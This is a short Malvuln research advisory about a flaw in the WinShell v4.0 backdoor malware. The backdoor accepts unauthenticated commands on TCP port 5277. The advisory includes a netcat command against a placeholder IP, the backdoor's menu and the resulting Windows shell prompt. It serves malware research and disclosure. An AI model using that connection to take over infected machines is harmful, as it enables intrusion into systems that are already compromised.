Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.WinShell.40  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP port 5277, third-party attackers who can reach the system can execute OS commands further compromising the already infected machine.  
Type: PE32  
MD5: c98e23742807f3cb5a095f34e0eb0e52  
Vuln ID: MVID-2021-0310  
Disclosure: 07/27/2021  
nc64.exe x.x.x.x 5277  
WinShell v4.0  
(C)2001 by janker  
? for help  
i Install  
u Uninstall  
w Where  
r Reboot  
p Poweroff  
q Quit  
e End  
s Shell  
url download  
? for help  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
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